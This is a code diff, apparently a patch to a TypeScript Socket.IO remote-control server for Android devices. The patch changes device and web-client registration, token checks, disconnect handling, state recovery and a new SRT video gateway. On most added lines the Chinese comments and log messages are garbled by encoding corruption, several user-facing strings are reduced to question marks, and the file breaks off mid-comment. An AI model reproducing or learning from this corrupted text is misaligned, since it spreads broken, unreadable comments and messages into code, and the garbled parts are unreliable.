閿?閸氬奔绔寸拋鎯ь槵娴e棔绗夐崥瀛瞣cket閿涘牓鍣告潻鐐叉簚閺咁垽绱氶敍灞炬纯閺傜櫇ocket閺勭姴鐨? + this.logger.info(`鐠佹儳顦柌宥堢箾: ${deviceId} 娴犲洞ocket${existingDevice.socketId} 閸掑洦宕查敓?${socket.id}`) - // 移除旧的Socket映射,继续正常注册流程 + // 缁夊娅庨弮褏娈慡ocket閺勭姴鐨犻敍宀€鎴风紒顓燁劀鐢憡鏁為崘灞剧ウ閿? this.deviceManager.removeDevice(deviceId) this.databaseService.setDeviceOfflineBySocketId(existingDevice.socketId) } else { - // ✅ 修复:设备存在且Socket相同,但可能是MessageRouter恢复的设备,需要重新注册以确保状态同步 - this.logger.info(`设备已通过数据恢复,重新注册以确保状态同步: ${deviceId}`) + // 閿?娣囶喖顦查敍姘愁啎婢跺洤鐡ㄩ崷銊ょ瑬Socket閻╃鎮撻敍灞肩稻閸欘垵鍏橀弰鐤ssageRouter閹垹顦查惃鍕啎婢跺浄绱濋棁鈧憰渚€鍣搁弬鐗堟暈閸愬奔浜掔涵顔荤箽閻樿埖鈧礁鎮撻敓? + this.logger.info(`鐠佹儳顦鏌モ偓姘崇箖閺佺増宓侀幁銏狀槻閿涘矂鍣搁弬鐗堟暈閸愬奔浜掔涵顔荤箽閻樿埖鈧礁鎮撻敓? ${deviceId}`) this.deviceManager.removeDevice(deviceId) } } - // 🔧 修复备注丢失问题:设备重新连接时从数据库恢复备注信息 + // 棣冩暋 娣囶喖顦叉径鍥ㄦ暈娑撱垹銇戦梻顕€顣介敍姘愁啎婢跺洭鍣搁弬鎷岀箾閹恒儲妞傛禒搴㈡殶閹诡喖绨遍幁銏狀槻婢跺洦鏁炴穱鈩冧紖 const existingDbDevice = this.databaseService.getDeviceById(deviceId) + const supportedVideoTransports = Array.isArray(data.supportedVideoTransports) + ? data.supportedVideoTransports.filter((item: any) => typeof item === 'string') + : [] + const srtUploadSupported = data.srtUploadSupported === true + || supportedVideoTransports.includes('srt_mpegts') const deviceInfo = { id: deviceId, @@ -1572,23 +2545,25 @@ class RemoteControlServer { screenWidth: data.screenWidth || 1080, screenHeight: data.screenHeight || 1920, capabilities: data.capabilities || [], + supportedVideoTransports, + srtUploadSupported, connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: data.inputBlocked || false, - isLocked: data.isLocked || false, // 初始化锁屏状态 - remark: existingDbDevice?.remark || data.remark || null, // 🔧 优先使用数据库中的备注 + isLocked: data.isLocked || false, // 閸掓繂顫愰崠鏍敚鐏炲繒濮搁敓? + remark: existingDbDevice?.remark || data.remark || null, // 棣冩暋 娴兼ê鍘涙担璺ㄦ暏閺佺増宓佹惔鎾茶厬閻ㄥ嫬顦敓? publicIP: data.publicIP || null, - // 🆕 添加系统版本信息字段 + // 棣冨晭 濞h濮炵化鑽ょ埠閻楀牊婀版穱鈩冧紖鐎涙顔? systemVersionName: data.systemVersionName || null, romType: data.romType || null, romVersion: data.romVersion || null, osBuildVersion: data.osBuildVersion || null } - this.logger.info(`设备信息: ${JSON.stringify(deviceInfo, null, 2)}`) + this.logger.info(`鐠佹儳顦穱鈩冧紖: ${JSON.stringify(deviceInfo, null, 2)}`) - // 保存到数据库 + // 娣囨繂鐡ㄩ崚鐗堟殶閹诡喖绨? this.databaseService.saveDevice({ ...data, appPackage: data.appPackage || null, @@ -1599,40 +2574,40 @@ class RemoteControlServer { socket.deviceId = deviceInfo.id socket.clientType = 'device' - // 通知设备注册成功 + // 闁氨鐓$拋鎯ь槵濞夈劌鍞介幋鎰 socket.emit('device_registered', { deviceId: deviceInfo.id, - message: '设备注册成功' + message: '??????' }) - this.logger.info(`✅ 设备注册成功,已通知设备`) + this.logger.info(`閿?鐠佹儳顦▔銊ュ斀閹存劕濮涢敍灞藉嚒闁氨鐓$拋鎯ь槵`) - // 通知所有Web客户端有新设备连接 + // 闁氨鐓¢幍鈧張濉沞b鐎广垺鍩涚粩顖涙箒閺傛媽顔曟径鍥箾閿? const connectedClients = this.webClientManager.getClientCount() if (connectedClients > 0) { - this.logger.info(`📡 通知 ${connectedClients} 个Web客户端有新设备连接`) + this.logger.info(`?? ${connectedClients} ?Web?????????`) this.webClientManager.broadcastToAll('device_connected', deviceInfo) } else { - this.logger.info(`📡 暂无Web客户端连接,跳过设备连接通知`) + this.logger.info(`????Web???????? ${deviceInfo.id} ???`) } - // ✅ 优化:设备重新连接时,Android端本身已经维护着真实状态 - // 无需向Android端发送控制命令,只需要从数据库获取状态用于Web端显示即可 + // 閿?娴兼ê瀵查敍姘愁啎婢跺洭鍣搁弬鎷岀箾閹恒儲妞傞敍瀛塶droid缁旑垱婀伴煬顐㈠嚒缂佸繒娣幎銈囨絻閻喎鐤勯悩璁规嫹? + // 閺冪娀娓堕崥鎱塶droid缁旑垰褰傞柅浣瑰付閸掕泛鎳℃禒銈忕礉閸欘亪娓剁憰浣风矤閺佺増宓佹惔鎾瑰箯閸欐牜濮搁幀浣烘暏娴滃豆eb缁旑垱妯夌粈鍝勫祮閿? try { - this.logger.info(`📊 记录设备状态: ${deviceInfo.id}`) + this.logger.info(`?? ????: ${deviceInfo.id}`) const deviceState = this.databaseService.getDeviceState(deviceInfo.id) if (deviceState) { - // 更新内存中的设备状态(用于Web端查询和显示) + // 閺囧瓨鏌婇崘鍛摠娑擃厾娈戠拋鎯ь槵閻樿埖鈧緤绱欓悽銊ょ艾Web缁旑垱鐓$拠銏犳嫲閺勫墽銇氶敓? if (deviceState.inputBlocked !== null) { deviceInfo.inputBlocked = deviceState.inputBlocked } - this.logger.info(`✅ 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`) + this.logger.info(`?? ${deviceInfo.id} ?????: inputBlocked=${deviceState.inputBlocked}, loggingEnabled=${deviceState.loggingEnabled}`) - // ✅ 修复:状态更新后再次广播完整的设备信息,确保Web端收到最新状态 + // 閿?娣囶喖顦查敍姘卞Ц閹焦娲块弬鏉挎倵閸愬秵顐奸獮鎸庢尡鐎瑰本鏆i惃鍕啎婢跺洣淇婇幁顖ょ礉绾喕绻歐eb缁旑垱鏁归崚鐗堟付閺傛壆濮搁敓? if (connectedClients > 0) { - this.logger.info(`📡 广播设备状态更新: ${deviceInfo.id}`) + this.logger.info(`[DeviceRegister] Broadcast device status update: ${deviceInfo.id}`) this.webClientManager.broadcastToAll('device_status_update', { deviceId: deviceInfo.id, status: { @@ -1644,35 +2619,35 @@ class RemoteControlServer { }) } } else { - this.logger.debug(`设备 ${deviceInfo.id} 没有保存的状态信息`) + this.logger.debug(`?? ${deviceInfo.id} ?????????`) } } catch (error) { - this.logger.error(`记录设备 ${deviceInfo.id} 状态失败:`, error) + this.logger.error(`[DeviceRegister] Failed to broadcast status for ${deviceInfo.id}`, error) } - // ✅ 修复:延迟再次确认设备在线状态,解决可能的时序问题 + // 閿?娣囶喖顦查敍姘鏉╃喎鍟€濞嗭紕鈥樼拋銈堫啎婢跺洤婀痪璺ㄥЦ閹緤绱濈憴锝呭枀閸欘垵鍏橀惃鍕鎼村繘妫堕敓? setTimeout(() => { const finalConnectedClients = this.webClientManager.getClientCount() if (finalConnectedClients > 0) { const finalDeviceInfo = this.deviceManager.getDevice(deviceInfo.id) if (finalDeviceInfo) { - this.logger.info(`📡 最终确认设备在线状态: ${deviceInfo.id}`) + this.logger.info(`[DeviceRegister] Broadcast delayed device_connected: ${deviceInfo.id}`) this.webClientManager.broadcastToAll('device_connected', finalDeviceInfo) } } - }, 1000) // 1秒后再次确认 + }, 1000) // 1缁夋帒鎮楅崘宥嗩偧绾喛顓? - this.logger.info(`🎉 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`) - this.logger.info(`当前连接的设备数量: ${this.deviceManager.getDeviceCount()}`) + this.logger.info(`[DeviceRegister] Success: ${deviceInfo.name} (${deviceInfo.id})`) + this.logger.info(`[DeviceRegister] Active device count: ${this.deviceManager.getDeviceCount()}`) } catch (error) { - this.logger.error('设备注册失败:', error) - socket.emit('registration_error', { message: '设备注册失败' }) + this.logger.error('[DeviceRegister] Failed', error) + socket.emit('registration_error', { message: 'device registration failed' }) } } /** - * 处理Web客户端注册 + * 婢跺嫮鎮奧eb鐎广垺鍩涚粩顖涙暈閿? */ private handleWebClientRegister(socket: any, data: any): void { try { @@ -1681,52 +2656,52 @@ class RemoteControlServer { // Web client auth: check token const token = socket.handshake.auth?.token if (!token) { - this.logger.warn(`🔐 Web客户端注册缺少认证token: ${socket.id}`) - socket.emit('auth_error', { message: '缺少认证token' }) + this.logger.warn(`[WebClient] Missing auth token: socket=${socket.id}`) + socket.emit('auth_error', { message: 'missing_auth_token' }) socket.disconnect() return } - // 验证token + // 妤犲矁鐦塼oken const authResult = this.authService.verifyToken(token) if (!authResult.valid) { - this.logger.warn(`🔐 Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`) - socket.emit('auth_error', { message: authResult.error || '认证失败' }) + this.logger.warn(`[WebClient] Invalid auth token: socket=${socket.id}, error=${authResult.error}`) + socket.emit('auth_error', { message: authResult.error || 'invalid_token' }) socket.disconnect() return } - // 认证成功,记录用户信息 + // 鐠併倛鐦夐幋鎰閿涘矁顔囪ぐ鏇犳暏閹磋渹淇婇敓? socket.userId = authResult.user?.id socket.username = authResult.user?.username - this.logger.info(`🔐 Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`) + this.logger.info(`[WebClient] Auth success: socket=${socket.id}, username=${authResult.user?.username}`) - // 🔧 修复重复注册问题:检查是否已有相同Socket ID的客户端 + // 棣冩暋 娣囶喖顦查柌宥咁槻濞夈劌鍞介梻顕€顣介敍姘梾閺屻儲妲搁崥锕€鍑¢張澶屾祲閸氬ocket ID閻ㄥ嫬顓归幋椋庮伂 const existingClient = this.webClientManager.getClientBySocketId(socket.id) if (existingClient) { - this.logger.warn(`⚠️ Socket ${socket.id} 已有注册记录,更新现有客户端信息`) + this.logger.warn(`[WebClient] Duplicate registration for socket=${socket.id}, refreshing client state`) - // 更新现有客户端的活动时间和用户代理 + // 閺囧瓨鏌婇悳鐗堟箒鐎广垺鍩涚粩顖滄畱濞茶濮╅弮鍫曟?閸滃瞼鏁ら幋铚傚敩閿? existingClient.lastSeen = new Date() existingClient.userAgent = data.userAgent || existingClient.userAgent - existingClient.userId = authResult.user?.id // 🔐 更新用户ID - existingClient.username = authResult.user?.username // 🔐 更新用户名 + existingClient.userId = authResult.user?.id // 棣冩敿 閺囧瓨鏌婇悽銊﹀煕ID + existingClient.username = authResult.user?.username // 棣冩敿 閺囧瓨鏌婇悽銊﹀煕閿? socket.clientId = existingClient.id socket.clientType = 'web' - // 🔐 恢复用户的设备权限 + // 棣冩敿 閹垹顦查悽銊﹀煕閻ㄥ嫯顔曟径鍥ㄦ綀閿? if (authResult.user?.id) { this.webClientManager.restoreUserPermissions(authResult.user.id, existingClient.id) } - // 发送当前设备列表(包含历史设备) + // 閸欐垿鈧礁缍嬮崜宥堫啎婢跺洤鍨悰顭掔礄閸栧懎鎯堥崢鍡楀蕉鐠佹儳顦敓? const allDevices = this.getAllDevicesIncludingHistory() socket.emit('client_registered', { clientId: existingClient.id, devices: allDevices }) - this.logger.info(`♻️ Web客户端重连成功: ${existingClient.id}`) + this.logger.info(`[Auth] Existing web client already online: ${existingClient.id}`) return } @@ -1737,42 +2712,42 @@ class RemoteControlServer { ip: socket.handshake.address, connectedAt: new Date(), lastSeen: new Date(), - userId: authResult.user?.id, // 🔐 添加用户ID - username: authResult.user?.username // 🔐 添加用户名 + userId: authResult.user?.id, // 棣冩敿 濞h濮為悽銊﹀煕ID + username: authResult.user?.username // 棣冩敿 濞h濮為悽銊﹀煕閿? } this.webClientManager.addClient(clientInfo) socket.clientId = clientInfo.id socket.clientType = 'web' - // 🔐 恢复用户的设备权限 + // 棣冩敿 閹垹顦查悽銊﹀煕閻ㄥ嫯顔曟径鍥ㄦ綀閿? if (authResult.user?.id) { this.webClientManager.restoreUserPermissions(authResult.user.id, clientInfo.id) } - // 发送当前设备列表(包含历史设备) + // 閸欐垿鈧礁缍嬮崜宥堫啎婢跺洤鍨悰顭掔礄閸栧懎鎯堥崢鍡楀蕉鐠佹儳顦敓? const allDevices = this.getAllDevicesIncludingHistory() socket.emit('client_registered', { clientId: clientInfo.id, devices: allDevices }) - this.logger.info(`✅ Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`) - this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`) + this.logger.info(`[Register] Web client registered: ${clientInfo.id} (IP: ${clientInfo.ip})`) + this.logger.info(`[Register] Active web client count: ${this.webClientManager.getClientCount()}`) } catch (error) { - this.logger.error('Web客户端注册失败:', error) - socket.emit('registration_error', { message: '客户端注册失败' }) + this.logger.error('[Register] Web client registration failed', error) + socket.emit('registration_error', { message: '???????' }) } } /** - * 处理连接断开 - 增强版,减少误判设备断开 + * 婢跺嫮鎮婃潻鐐村复閺傤厼绱?- 婢х偛宸遍悧鍫礉閸戝繐鐨拠顖氬灲鐠佹儳顦弬顓炵磻 */ private handleDisconnect(socket: any): void { - this.logger.info(`连接断开: ${socket.id} (类型: ${socket.clientType})`) + this.logger.info(`[Disconnect] Socket disconnected: ${socket.id} (type: ${socket.clientType})`) - // 更新数据库中的断开连接记录 + // 閺囧瓨鏌婇弫鐗堝祦鎼存挷鑵戦惃鍕焽瀵偓鏉╃偞甯寸拋鏉跨秿 this.databaseService.updateDisconnection(socket.id) if (socket.clientType === 'device' && socket.deviceId) { @@ -1792,9 +2767,20 @@ class RemoteControlServer { if (client) { if (client.controllingDeviceId) { this.logger.info(`[Disconnect] Web client disconnected, releasing device control: ${client.controllingDeviceId}`) - this.webClientManager.releaseDeviceControl(client.controllingDeviceId) - + this.srtGatewayService.stopClientStream(client.controllingDeviceId, clientId) const deviceSocketId = this.deviceManager.getDeviceSocketId(client.controllingDeviceId) + if (deviceSocketId) { + const deviceSocket = this.io.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('webrtc_stop', { + deviceId: client.controllingDeviceId, + clientId, + reason: 'web_disconnect', + timestamp: Date.now() + }) + } + } + this.webClientManager.releaseDeviceControl(client.controllingDeviceId) if (deviceSocketId) { const deviceSocket = this.io.sockets.sockets.get(deviceSocketId) if (deviceSocket) { @@ -1818,27 +2804,27 @@ class RemoteControlServer { } /** - * 获取所有设备(包含历史设备) + * 閼惧嘲褰囬幍鈧張澶庮啎婢跺浄绱欓崠鍛儓閸樺棗褰剁拋鎯ь槵閿? */ private getAllDevicesIncludingHistory(): any[] { try { - // ✅ 直接从数据库获取设备,状态已经正确存储 + // 閿?閻╁瓨甯存禒搴㈡殶閹诡喖绨遍懢宄板絿鐠佹儳顦敍宀€濮搁幀浣稿嚒缂佸繑顒滅涵顔肩摠閿? const allDbDevices = this.databaseService.getAllDevices() - // 获取内存中的在线设备,用于补充Socket ID + // 閼惧嘲褰囬崘鍛摠娑擃厾娈戦崷銊у殠鐠佹儳顦敍宀€鏁ゆ禍搴に夐崗鍖皁cket ID const onlineDevices = this.deviceManager.getAllDevices() const onlineDeviceMap = new Map() onlineDevices.forEach(device => { onlineDeviceMap.set(device.id, device) }) - // 转换为前端格式并补充Socket ID + // 鏉烆剚宕叉稉鍝勫缁旑垱鐗稿蹇撹嫙鐞涖儱鍘朣ocket ID const devices = allDbDevices.map(dbDevice => { const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId) return { id: dbDevice.deviceId, - socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空 + socketId: onlineDevice?.socketId || '', // 閸︺劎鍤庣拋鎯ь槵閺堝ocket ID閿涘瞼顬囩痪鑳啎婢跺洣璐熼敓? name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, @@ -1848,13 +2834,15 @@ class RemoteControlServer { screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: dbDevice.capabilities, + supportedVideoTransports: onlineDevice?.supportedVideoTransports || ['ws_binary'], + srtUploadSupported: onlineDevice?.srtUploadSupported || false, connectedAt: dbDevice.firstSeen, lastSeen: dbDevice.lastSeen, - // ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 + // 閿?閸忔娊鏁穱顔碱槻閿涙矮绱崗鍫滃▏閻劌鍞寸€涙ü鑵戦惃鍕Ц閹緤绱濇俊鍌涚亯鐠佹儳顦崷銊ュ敶鐎涙ü鑵戦崚娆庤礋online閿涘苯鎯侀崚娆庡▏閻劍鏆熼幑顔肩氨閻樿鎷? status: onlineDevice ? 'online' : dbDevice.status, inputBlocked: onlineDevice?.inputBlocked || false, publicIP: dbDevice.publicIP, - // 🆕 添加系统版本信息字段 + // 棣冨晭 濞h濮炵化鑽ょ埠閻楀牊婀版穱鈩冧紖鐎涙顔? systemVersionName: dbDevice.systemVersionName, romType: dbDevice.romType, romVersion: dbDevice.romVersion, @@ -1862,18 +2850,18 @@ class RemoteControlServer { } }) - this.logger.info(`📊 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`) + this.logger.info(`[DeviceList] total=${devices.length}, online=${devices.filter(d => d.status === 'online').length}`) return devices } catch (error) { - this.logger.error('获取设备列表失败:', error) - // 出错时返回内存中的设备 + this.logger.error('[DeviceList] Failed to build device list', error) + // 閸戞椽鏁婇弮鎯扮箲閸ョ偛鍞寸€涙ü鑵戦惃鍕啎閿? return this.deviceManager.getAllDevices() } } /** - * 🆕 获取活跃的Web客户端列表 + * 棣冨晭 閼惧嘲褰囧ú鏄忕┈閻ㄥ垑eb鐎广垺鍩涚粩顖氬灙閿? */ private getActiveWebClients(): any[] { try { @@ -1883,23 +2871,25 @@ class RemoteControlServer { return socket && socket.connected }) - this.logger.debug(`📊 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`) + this.logger.debug(`[WebClient] total=${allClients.length}, active=${activeClients.length}`) return activeClients.map(client => ({ id: client.id, + userId: client.userId, + username: client.username, userAgent: client.userAgent, ip: client.ip, connectedAt: client.connectedAt, lastSeen: client.lastSeen })) } catch (error) { - this.logger.error('获取活跃Web客户端失败:', error) + this.logger.error('[WebClient] Failed to get active web clients', error) return [] } } /** - * 广播设备状态 + * 楠炴寧鎸辩拋鎯ь槵閻樿鎷? */ private broadcastDeviceStatus(deviceId: string, status: any): void { this.webClientManager.broadcastToAll('device_status_update', { @@ -1909,92 +2899,84 @@ class RemoteControlServer { } /** - * ✅ 服务器启动时恢复设备状态 + * 閿?閺堝秴濮熼崳銊ユ儙閸斻劍妞傞幁銏狀槻鐠佹儳顦悩璁规嫹? */ private recoverDeviceStates(): void { setTimeout(() => { - this.logger.info('🔄🔄🔄 开始恢复设备状态... 🔄🔄🔄') + this.logger.info('[Recovery] Start device state recovery after server restart') - // ✅ 首先将数据库中所有设备状态重置为离线 this.databaseService.resetAllDevicesToOffline() - // 获取所有已连接的Socket const connectedSockets = Array.from(this.io.sockets.sockets.values()) - this.logger.info(`📊 发现已连接的Socket数量: ${connectedSockets.length}`) + this.logger.info(`[Recovery] Connected sockets: ${connectedSockets.length}`) if (connectedSockets.length === 0) { - this.logger.info('📱 没有发现已连接的Socket,等待设备主动连接...') + this.logger.info('[Recovery] No active socket found, skip re-registration ping') return } - // 向所有Socket发送ping,要求重新注册 connectedSockets.forEach((socket, index) => { try { - this.logger.info(`📤 [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`) + this.logger.info(`[Recovery ${index + 1}/${connectedSockets.length}] Checking socket ${socket.id}`) - // 检查Socket是否仍然连接 if (!socket.connected) { - this.logger.warn(`⚠️ Socket ${socket.id} 已断开,跳过`) + this.logger.warn(`[Recovery] Socket ${socket.id} disconnected, skip`) return } - // 发送ping请求设备重新注册 socket.emit('server_restarted', { - message: '服务器已重启,请重新注册', + message: 'server_restarted_require_reregistration', timestamp: new Date().toISOString() }) - this.logger.info(`✅ server_restarted 事件已发送到 ${socket.id}`) + this.logger.info(`[Recovery] Emitted server_restarted to ${socket.id}`) - // 同时发送通用ping socket.emit('ping_for_registration', { requireReregistration: true, serverRestartTime: new Date().toISOString() }) - this.logger.info(`✅ ping_for_registration 事件已发送到 ${socket.id}`) + this.logger.info(`[Recovery] Emitted ping_for_registration to ${socket.id}`) } catch (error) { - this.logger.error(`❌ 发送重新注册请求失败 (Socket: ${socket.id}):`, error) + this.logger.error(`[Recovery] Socket notify failed (socket=${socket.id})`, error) } }) - // 5秒后检查恢复结果 setTimeout(() => { const recoveredDevices = this.deviceManager.getDeviceCount() - this.logger.info(`🎉 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`) + this.logger.info(`[Recovery] Device count after re-sync: ${recoveredDevices}`) if (recoveredDevices > 0) { - // 广播设备列表更新 this.webClientManager.broadcastToAll('devices_recovered', { deviceCount: recoveredDevices, devices: this.deviceManager.getAllDevices() }) } else { - this.logger.warn('⚠️ 没有设备恢复连接,可能需要手动重启设备应用') + this.logger.warn('[Recovery] No device recovered after restart window') } }, 5000) - }, 2000) // 延迟2秒执行,确保服务器完全启动 + }, 2000) } /** - * ✅ 启动状态一致性检查定时器 + * 閿?閸氼垰濮╅悩鑸碘偓浣风閼峰瓨鈧勵梾閺屻儱鐣鹃弮璺烘珤 */ private startConsistencyChecker(): void { - // 🔧 优化:平衡检查频率,快速发现断开同时避免心跳冲突 + // 棣冩暋 娴兼ê瀵查敍姘挬鐞涒剝顥呴弻銉╊暥閻滃浄绱濊箛顐︹偓鐔峰絺閻滅増鏌囧鈧崥灞炬闁灝鍘よ箛鍐儲閸愯尙鐛? setInterval(() => { this.checkAndFixInconsistentStates() - }, 60000) // 改为每1分钟检查一次,平衡检测速度和稳定性 + }, 60000) // 閺€閫涜礋閿?閸掑棝鎸撳Λ鈧弻銉ょ濞嗏槄绱濋獮瀹犮€€濡偓濞村鈧喎瀹抽崪宀€菙鐎规熬鎷? - // ✅ 新增:每10秒刷新一次设备状态给Web端,确保状态同步 + // 閿?閺傛澘顤冮敍姘槨10缁夋帒鍩涢弬棰佺濞喡ゎ啎婢跺洨濮搁幀浣虹舶Web缁旑垽绱濈涵顔荤箽閻樿埖鈧礁鎮撻敓? setInterval(() => { this.refreshDeviceStatusToWebClients() - }, 10000) // 每10秒刷新一次 + }, 10000) // 閿?0缁夋帒鍩涢弬棰佺閿? - this.logger.info('✅ 状态一致性检查定时器已启动(1分钟间隔)- 平衡版本,快速检测断开+避免心跳误判+主动连接测试') + this.logger.info('Consistency checker enabled') } /** - * ✅ 检查和修复不一致状态 - 增强版,减少误判 + * 閿?濡偓閺屻儱鎷版穱顔碱槻娑撳秳绔撮懛瀵稿Ц閿?- 婢х偛宸遍悧鍫礉閸戝繐鐨拠顖氬灲 */ private checkAndFixInconsistentStates(): void { try { @@ -2042,13 +3024,13 @@ class RemoteControlServer { } /** - * 🔧 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判 + * 棣冩暋 妤犲矁鐦夌拋鎯ь槵閺傤厼绱戞潻鐐村复 - 楠炲疇銆€缁涙牜鏆愰敍姘彥闁喐顥呭ù瀣埂鐎圭偞鏌囧鈧敍宀勪缉閸忓秷顕ら敓? * - * 优化策略: - * 1. Socket不存在时立即清理(真正断开) - * 2. Socket存在但未连接时主动测试(CONNECTION_TEST) - * 3. 测试无响应时确认断开,有响应时恢复状态 - * 4. 缩短各种延迟时间,提高响应速度 + * 娴兼ê瀵茬粵鏍殣閿? + * 1. Socket娑撳秴鐡ㄩ崷銊︽缁斿宓嗗〒鍛倞閿涘牏婀″锝嗘焽瀵偓閿? + * 2. Socket鐎涙ê婀担鍡樻弓鏉╃偞甯撮弮鏈靛瘜閸斻劍绁寸拠鏇礄CONNECTION_TEST閿? + * 3. 濞村鐦弮鐘叉惙鎼存梹妞傜涵顔款吇閺傤厼绱戦敍灞炬箒閸濆秴绨查弮鑸典划婢跺秶濮搁敓? + * 4. 缂傗晝鐓崥鍕潚瀵ゆ儼绻滈弮鍫曟?閿涘本褰佹妯烘惙鎼存棃鈧喎瀹? */ private verifyDeviceDisconnection(deviceId: string, socketId: string): void { try { @@ -2114,7 +3096,7 @@ class RemoteControlServer { } /** - * 🆕 主动测试设备连接 + * 棣冨晭 娑撹濮╁ù瀣槸鐠佹儳顦潻鐐村复 */ private testDeviceConnection(deviceId: string, socketId: string, device: any): void { const socket = this.io.sockets.sockets.get(socketId) @@ -2172,7 +3154,7 @@ class RemoteControlServer { } /** - * 🆕 执行设备清理逻辑 + * 棣冨晭 閹笛嗩攽鐠佹儳顦〒鍛倞闁槒绶? */ private executeDeviceCleanup(deviceId: string, device: any): void { this.logger.warn(`[Cleanup] Removing device: ${deviceId} (${device.name})`) @@ -2191,6 +3173,7 @@ class RemoteControlServer { } this.deviceManager.removeDevice(deviceId) + this.srtGatewayService.stopSession(deviceId) this.databaseService.setDeviceOffline(deviceId) this.webClientManager.broadcastToAll('device_disconnected', deviceId) @@ -2198,7 +3181,7 @@ class RemoteControlServer { } /** - * 🔧 二次确认设备是否真正断开(避免误判) + * 棣冩暋 娴滃本顐肩涵顔款吇鐠佹儳顦弰顖氭儊閻喐顒滈弬顓炵磻閿涘牓浼╅崗宥堫嚖閸掋倧绱? */ private performSecondaryDeviceCheck(deviceId: string, socketId: string): void { try { @@ -2249,7 +3232,7 @@ class RemoteControlServer { } /** - * ✅ 刷新设备状态给Web客户端 + * 閿?閸掗攱鏌婄拋鎯ь槵閻樿埖鈧胶绮癢eb鐎广垺鍩涢敓? */ private refreshDeviceStatusToWebClients(): void { try { @@ -2258,7 +3241,7 @@ class RemoteControlServer { return } - // 获取完整设备列表(含历史设备)并广播给Web端 + // 閼惧嘲褰囩€瑰本鏆g拋鎯ь槵閸掓銆?閸氼偄宸婚崣鑼额啎閿?楠炶泛绠嶉幘顓犵舶Web閿? const allDevices = this.getAllDevicesIncludingHistory() if (allDevices.length > 0) { this.webClientManager.broadcastToAll('devices_list_refresh', { @@ -2274,69 +3257,69 @@ class RemoteControlServer { } /** - * 启动服务器 + * 閸氼垰濮╅張宥呭閿? */ public async start(port: number = 3001): Promise { try { - // 🆕 先初始化 AuthService(确保超级管理员账号已创建) - this.logger.info('正在初始化认证服务...') + this.logger.info('[Server] Initializing auth service...') await this.authService.initialize() - this.logger.info('认证服务初始化完成') + this.logger.info('[Server] Auth service initialized') - // 然后启动服务器 + // 閻掕泛鎮楅崥顖氬З閺堝秴濮熼敓? this.server.listen(port, () => { - this.logger.info(`远程控制服务器启动成功,端口: ${port}`) - this.logger.info(`WebSocket服务地址: ws://localhost:${port}`) - this.logger.info(`HTTP API地址: http://localhost:${port}`) - this.logger.info(`🔧 关键修复已应用:`) - this.logger.info(` - Socket.IO心跳配置优化 (5分钟超时/2分钟间隔)`) - this.logger.info(` - 延迟验证disconnect事件 (3秒验证期)`) - this.logger.info(` - 增强设备活跃时间更新机制`) - this.logger.info(` - 减少状态检查器误判 (90秒间隔)`) + this.logger.info(`[Server] Remote control server listening on port ${port}`) + this.logger.info(`[Server] Socket endpoint: ws://localhost:${port}`) + this.logger.info(`[Server] HTTP API: http://localhost:${port}`) + this.logger.info('[Server] Socket.IO tuning enabled:') + this.logger.info(' - Ping timeout/interval tuned for unstable mobile networks') + this.logger.info(' - Disconnect auto-recovery and state consistency checks') + this.logger.info(' - Device heartbeat and stale connection cleanup') - // ✅ 关键修复:服务器启动后立即恢复设备状态 + // 閿?閸忔娊鏁穱顔碱槻閿涙碍婀囬崝鈥虫珤閸氼垰濮╅崥搴g彌閸楄櫕浠径宥堫啎婢跺洨濮搁敓? this.recoverDeviceStates() }) } catch (error) { - this.logger.error('服务器启动失败:', error) - // 即使初始化失败,也尝试启动服务器(可能已经有用户数据) + this.logger.error('[Server] Failed to start', error) + // 閸楀厖濞囬崚婵嗩潗閸栨牕銇戠拹銉礉娑旂喎鐨剧拠鏇炴儙閸斻劍婀囬崝鈥虫珤閿涘牆褰查懗钘夊嚒缂佸繑婀侀悽銊﹀煕閺佺増宓侀敓? this.server.listen(port, () => { - this.logger.warn('服务器已启动,但认证服务初始化可能未完成') - this.logger.info(`远程控制服务器启动成功,端口: ${port}`) + this.logger.warn('[Server] Started in fallback mode after startup error') + this.logger.info(`[Server] Listening on port ${port}`) this.recoverDeviceStates() }) } - // 处理进程退出 + // 婢跺嫮鎮婃潻娑氣柤闁偓閿? process.on('SIGINT', () => { - this.logger.info('正在关闭服务器...') + this.logger.info('[Server] SIGINT received, shutting down...') + this.srtGatewayService.shutdown() this.server.close(() => { - this.logger.info('服务器已关闭') + this.logger.info('[Server] Shutdown complete') process.exit(0) }) }) } } -// 添加全局错误处理,防止未捕获的异常导致程序崩溃 +// 濞h濮為崗銊ョ湰闁挎瑨顕ゆ径鍕倞閿涘矂妲诲銏℃弓閹规洝骞忛惃鍕磽鐢顕遍懛瀵糕柤鎼村繐绌块敓? process.on('uncaughtException', (error: Error) => { - console.error('未捕获的异常:', error) - console.error('错误堆栈:', error.stack) - // 不退出进程,记录错误并继续运行 + console.error('[uncaughtException]', error) + console.error('[stack]', error.stack) + // 娑撳秹鈧偓閸戦缚绻樼粙瀣剁礉鐠佹澘缍嶉柨娆掝嚖楠炲墎鎴风紒顓$箥閿? }) process.on('unhandledRejection', (reason: any, promise: Promise) => { - console.error('未处理的Promise拒绝:', reason) + console.error('[unhandledRejection]', reason) if (reason instanceof Error) { - console.error('错误堆栈:', reason.stack) + console.error('[stack]', reason.stack) } - // 不退出进程,记录错误并继续运行 + // 